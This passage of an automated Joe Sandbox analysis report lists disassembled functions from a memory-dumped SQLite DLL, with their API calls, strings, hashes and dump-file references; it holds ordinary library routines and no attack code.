                                                                                          • Opcode Fuzzy Hash: 15f5c91e7d752206cb5be57281081ebbda5684d1dfb7c3b21a78c03d1c189b87
                                                                                          • Instruction Fuzzy Hash: 72314DB19082058FDB00DF29C48064EB7F6FF65354F19856AE8999B361EB34E886CF81
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_free
                                                                                          • String ID:
                                                                                          • API String ID: 251237202-0
                                                                                          • Opcode ID: ee0aefbaff40cad113deb2524f723b57adfc4224f15c8691f87345bc20e459c1
                                                                                          • Instruction ID: 8e14962182cb4ba31828fc05f1b37fa5954e33605a362b2e641de35f96add61e
                                                                                          • Opcode Fuzzy Hash: ee0aefbaff40cad113deb2524f723b57adfc4224f15c8691f87345bc20e459c1
                                                                                          • Instruction Fuzzy Hash: 022137B46087158BC709AF68C48570ABBF6FFA5318F10895DEC958B345DB74E940CB82
                                                                                          APIs
                                                                                          • sqlite3_aggregate_context.SQLITE3 ref: 6091A31E
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6091A349
                                                                                          • sqlite3_value_bytes.SQLITE3 ref: 6091A356
                                                                                          • sqlite3_value_text.SQLITE3 ref: 6091A37B
                                                                                          • sqlite3_value_bytes.SQLITE3 ref: 6091A387
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_value_bytessqlite3_value_text$sqlite3_aggregate_context
                                                                                          • String ID:
                                                                                          • API String ID: 4225432645-0
                                                                                          • Opcode ID: e7dd5294350f58c57afd4f2551108a775ab72f2657aaaf635efeb712e258985e
                                                                                          • Instruction ID: 24a20a1669ecabf1c8c9e0f75de4e20f6480f0c3e20d7f4799920e66bb4c3c2a
                                                                                          • Opcode Fuzzy Hash: e7dd5294350f58c57afd4f2551108a775ab72f2657aaaf635efeb712e258985e
                                                                                          • Instruction Fuzzy Hash: 3F21CF71B086588FDB009F29C48075E7BE7AFA4254F0484A8E894CF305EB34DC86CB91
                                                                                          APIs
                                                                                          • sqlite3_mutex_enter.SQLITE3(?,-00000200,?), ref: 6090359D
                                                                                          • sqlite3_mutex_leave.SQLITE3(?,-00000200,?), ref: 609035E0
                                                                                          • sqlite3_mutex_enter.SQLITE3(?,-00000200,?), ref: 609035F9
                                                                                          • sqlite3_mutex_leave.SQLITE3(?,-00000200,?), ref: 60903614
                                                                                          • sqlite3_free.SQLITE3(?,-00000200,?), ref: 6090361C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_free
                                                                                          • String ID:
                                                                                          • API String ID: 251237202-0
                                                                                          • Opcode ID: d176fa110bd2286076a254f1a84b89a7a2b75649dc4a807f2bdee778eef171d4
                                                                                          • Instruction ID: 98a7ce7f1ce2ff6a0e5ca4ca87ec4bf20a5c319c62b2fc6798152503390b0136
                                                                                          • Opcode Fuzzy Hash: d176fa110bd2286076a254f1a84b89a7a2b75649dc4a807f2bdee778eef171d4
                                                                                          • Instruction Fuzzy Hash: B211FE725186218BCB00EF7DC8C16197FE7FB66358F01491DE866D7362D73AD480AB42
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_log
                                                                                          • String ID: ($string or blob too big$|
                                                                                          • API String ID: 632333372-2398534278
                                                                                          • Opcode ID: 03236f3895d5fd10e60d1ff1eefb6ed02231b27a1c47450c0fb49d2dd58edd91
                                                                                          • Instruction ID: 3c3a64a58f66130c0c9aec06ea77be0954bd7b4098f3428da06b6372deec6608
                                                                                          • Opcode Fuzzy Hash: 03236f3895d5fd10e60d1ff1eefb6ed02231b27a1c47450c0fb49d2dd58edd91
                                                                                          • Instruction Fuzzy Hash: 5DC10CB5A043288FCB66CF28C981789B7BABB59304F1085D9E958A7345C775EF81CF40
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_stricmp
                                                                                          • String ID: BINARY
                                                                                          • API String ID: 912767213-907554435
                                                                                          • Opcode ID: dd54eeba7b99beb4c129e1ce0ebb3c97c4d31291de79a9977aa1c0a9ff3222ee
                                                                                          • Instruction ID: 142a1e9d4f1e8552d2c1f4074703eb5ae9f1e70d76b7ded3e689f9c37387bea1
                                                                                          • Opcode Fuzzy Hash: dd54eeba7b99beb4c129e1ce0ebb3c97c4d31291de79a9977aa1c0a9ff3222ee
                                                                                          • Instruction Fuzzy Hash: 11512AB8A142159FCF05CF68D580A9EBBFBBFA9314F208569D855AB318D335EC41CB90
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: Virtual$Protect$Query
                                                                                          • String ID: @
                                                                                          • API String ID: 3618607426-2766056989
                                                                                          • Opcode ID: a11a59528d98c4ff7ad69dfbc7d520f68a8f714e9ef4c31244658d91e7757f1c
                                                                                          • Instruction ID: 11fd3fd6c91f2e29dbdaed7331fdf7a08ef8f1da01c53322037319a40d79a89e
                                                                                          • Opcode Fuzzy Hash: a11a59528d98c4ff7ad69dfbc7d520f68a8f714e9ef4c31244658d91e7757f1c
                                                                                          • Instruction Fuzzy Hash: 003141B5E15208AFEB14DFA9D48158EFFF5EF99254F10852AE868E3310E371D940CB52
                                                                                          APIs
                                                                                          • sqlite3_malloc.SQLITE3 ref: 60928353
                                                                                            • Part of subcall function 60916FBA: sqlite3_initialize.SQLITE3(60912743,?,?,?,?,?,?,?,?,?,?,?,?,?,?,609129E5), ref: 60916FC4
                                                                                          • sqlite3_realloc.SQLITE3 ref: 609283A0
                                                                                          • sqlite3_free.SQLITE3 ref: 609283B6
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_freesqlite3_initializesqlite3_mallocsqlite3_realloc
                                                                                          • String ID: d
                                                                                          • API String ID: 211589378-2564639436
                                                                                          • Opcode ID: 4c34ce46e3d0a3d1d3def0d8ad382c8948c40f702370fc4fcdce263753dde11a
                                                                                          • Instruction ID: 0830c2115c9ea807631a831f7f1165b0ee40d8a8a94356aa67113494a68d5982
                                                                                          • Opcode Fuzzy Hash: 4c34ce46e3d0a3d1d3def0d8ad382c8948c40f702370fc4fcdce263753dde11a
                                                                                          • Instruction Fuzzy Hash: 222137B0A04205CFDB14DF59D4C078ABBF6FF69314F158469D8889B309E3B8E841CBA1
                                                                                          APIs
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressHandleModuleProc
                                                                                          • String ID: _Jv_RegisterClasses$libgcj-11.dll
                                                                                          • API String ID: 1646373207-2713375476
                                                                                          • Opcode ID: 84d528d321f1eea6d8a1b68cb749bb1a2441192a5c5952381cf667fabd413772
                                                                                          • Instruction ID: e6822cb61b404b68644b44a252d8259deade1a358cfa59fcc717d95409d4d83a
                                                                                          • Opcode Fuzzy Hash: 84d528d321f1eea6d8a1b68cb749bb1a2441192a5c5952381cf667fabd413772
                                                                                          • Instruction Fuzzy Hash: 0DE04F7062D30586FB443F794D923297AEB5F72549F00081CD9929B240EBB4D440D753
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: .$:$:$;$;
                                                                                          • API String ID: 0-3979609778
                                                                                          • Opcode ID: 50b9d7b53ff024c5b5e5e467dd09a5a86a30f3212454febefa11a70b635a06cf
                                                                                          • Instruction ID: 88cbeff3cb36a4107b9ab761e04ae617a78179eaf1b2646578849985a96e8386
                                                                                          • Opcode Fuzzy Hash: 50b9d7b53ff024c5b5e5e467dd09a5a86a30f3212454febefa11a70b635a06cf
                                                                                          • Instruction Fuzzy Hash: 9D519DB1A083419ED701CF15C58438ABFF6FB55348F24891DD8959B291E3B9CA89CFD2
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_free
                                                                                          • String ID:
                                                                                          • API String ID: 2313487548-0
                                                                                          • Opcode ID: 17c4197e66eccf8e4e539c70c01e6b2d08fb8491bcf73b2b2b780fd64eb57762
                                                                                          • Instruction ID: 4e09bb13dd5a3c3c1d339de95b14bc5918580ae4e3dbdcf066e72e084d482625
                                                                                          • Opcode Fuzzy Hash: 17c4197e66eccf8e4e539c70c01e6b2d08fb8491bcf73b2b2b780fd64eb57762
                                                                                          • Instruction Fuzzy Hash: 15E14674928209EFDB04CF94D184B9EBBB2FF69304F208558D8956B259D774EC86CF81
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID: sqlite_master$sqlite_sequence$sqlite_temp_master
                                                                                          • API String ID: 0-1177837799
                                                                                          • Opcode ID: b45b6970ebe54efa46efcb65f0e1138f7cff2b55d537d73117a3441f01693427
                                                                                          • Instruction ID: e5240d50caebec33bd4ce83d4b9fb982fe545a794019e3d400788b6e3ec19482
                                                                                          • Opcode Fuzzy Hash: b45b6970ebe54efa46efcb65f0e1138f7cff2b55d537d73117a3441f01693427
                                                                                          • Instruction Fuzzy Hash: F7C13974B062089BDB05DF68D49179EBBF3AFA8308F14C42DE8899B345DB39D841CB41
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_mutex_leave$sqlite3_logsqlite3_mutex_enter
                                                                                          • String ID:
                                                                                          • API String ID: 4249760608-0
                                                                                          • Opcode ID: 55775a197f9aa81981a6c1824e65e5643dd82e92c35c8cbf90f4756fe2761598
                                                                                          • Instruction ID: 2374180173898b37ca3bb3ba1fa7e33799c7e45bceefb220d1965ad168ba1add
                                                                                          • Opcode Fuzzy Hash: 55775a197f9aa81981a6c1824e65e5643dd82e92c35c8cbf90f4756fe2761598
                                                                                          • Instruction Fuzzy Hash: 7F412970A083048BE701DF6AC495B8ABBF6FFA5308F04C46DE8598B355D779D849CB91
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_freesqlite3_mallocsqlite3_value_bytessqlite3_value_text
                                                                                          • String ID:
                                                                                          • API String ID: 1648232842-0
                                                                                          • Opcode ID: 6f401334500cf3ce8937f97dce09bc9131fc1f686c7391f4db805f1c2cabf22c
                                                                                          • Instruction ID: a01add595a6c287de5924383f0ed77e5cc34082cd65fcd393cbe5beac3228527
                                                                                          • Opcode Fuzzy Hash: 6f401334500cf3ce8937f97dce09bc9131fc1f686c7391f4db805f1c2cabf22c
                                                                                          • Instruction Fuzzy Hash: 4531C0B4A042058FDB04DF29C094B5ABBE2FF98354F1484A9EC498F349D779E846CBA0
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_result_textsqlite3_snprintfsqlite3_value_blob
                                                                                          • String ID:
                                                                                          • API String ID: 3020506458-0
                                                                                          • Opcode ID: a061760bccdcc5ee377f69cfb9053f3ef30041d9a69f1f6df420abce8e2a1161
                                                                                          • Instruction ID: 3699dfc10e09231e02f70cd15f5876ce020411a3ceaa937295c2f1b175ba3545
                                                                                          • Opcode Fuzzy Hash: a061760bccdcc5ee377f69cfb9053f3ef30041d9a69f1f6df420abce8e2a1161
                                                                                          • Instruction Fuzzy Hash: 9A3106B1A083099FDB00DF69C48168EBBF2BFA9324F10896DE4A997350D734D841CF52
                                                                                          APIs
                                                                                          • sqlite3_step.SQLITE3 ref: 609614AB
                                                                                          • sqlite3_reset.SQLITE3 ref: 609614BF
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_enter.SQLITE3 ref: 60941C58
                                                                                            • Part of subcall function 60941C40: sqlite3_mutex_leave.SQLITE3 ref: 60941CBE
                                                                                          • sqlite3_column_int64.SQLITE3 ref: 609614D4
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_column_int64sqlite3_mutex_entersqlite3_mutex_leavesqlite3_resetsqlite3_step
                                                                                          • String ID:
                                                                                          • API String ID: 3429445273-0
                                                                                          • Opcode ID: 44b7ea0f60ccad0bdb665534712f35195a3185c30aa33eaed9220a178cd48643
                                                                                          • Instruction ID: 62863439de2fabb71fd3664abc4fbfc11ff04353a6e6e3e42574d1c19fb7889d
                                                                                          • Opcode Fuzzy Hash: 44b7ea0f60ccad0bdb665534712f35195a3185c30aa33eaed9220a178cd48643
                                                                                          • Instruction Fuzzy Hash: AE316470A183408BEF15CF69C1C5749FBA6AFA7348F188599DC864F30AD375D884C752
                                                                                          APIs
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385765792.0000000060980000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_3_2_60900000_bsoftvideocapture33.jbxd
                                                                                          Similarity
                                                                                          • API ID: sqlite3_snprintf$sqlite3_stricmpsqlite3_value_text
                                                                                          • String ID:
                                                                                          • API String ID: 1035992805-0
                                                                                          • Opcode ID: 213593095aed0ecc64844f89ed1f3878beaaf7633e295caa013ed5846923251b
                                                                                          • Instruction ID: 84d28b158f1a11e063f70be148de9c7b2eff514b3bcf7808f17aa895500be78a
                                                                                          • Opcode Fuzzy Hash: 213593095aed0ecc64844f89ed1f3878beaaf7633e295caa013ed5846923251b
                                                                                          • Instruction Fuzzy Hash: 8C3178B0A08324DFEB24CF28C481B4ABBF6FBA5318F04C499E4888B251C775D885DF42
                                                                                          APIs
                                                                                          • sqlite3_mutex_enter.SQLITE3(-00000200,?,?,6090B22B), ref: 609034D8
                                                                                          • sqlite3_mutex_leave.SQLITE3(-00000200,?,?,6090B22B), ref: 60903521
                                                                                          • sqlite3_mutex_enter.SQLITE3(-00000200,?,?,6090B22B), ref: 6090354A
                                                                                          • sqlite3_mutex_leave.SQLITE3(-00000200,?,?,6090B22B), ref: 60903563
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000003.00000002.3385566303.0000000060901000.00000020.00000001.01000000.0000000A.sdmp, Offset: 60900000, based on PE: true
                                                                                          • Associated: 00000003.00000002.3385547886.0000000060900000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385688838.000000006096E000.00000008.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385705401.000000006096F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385731258.000000006097B000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                          • Associated: 00000003.00000002.3385748738.000000006097D000.00000004.00000001.01000000.0000000A.sdmpDownload File
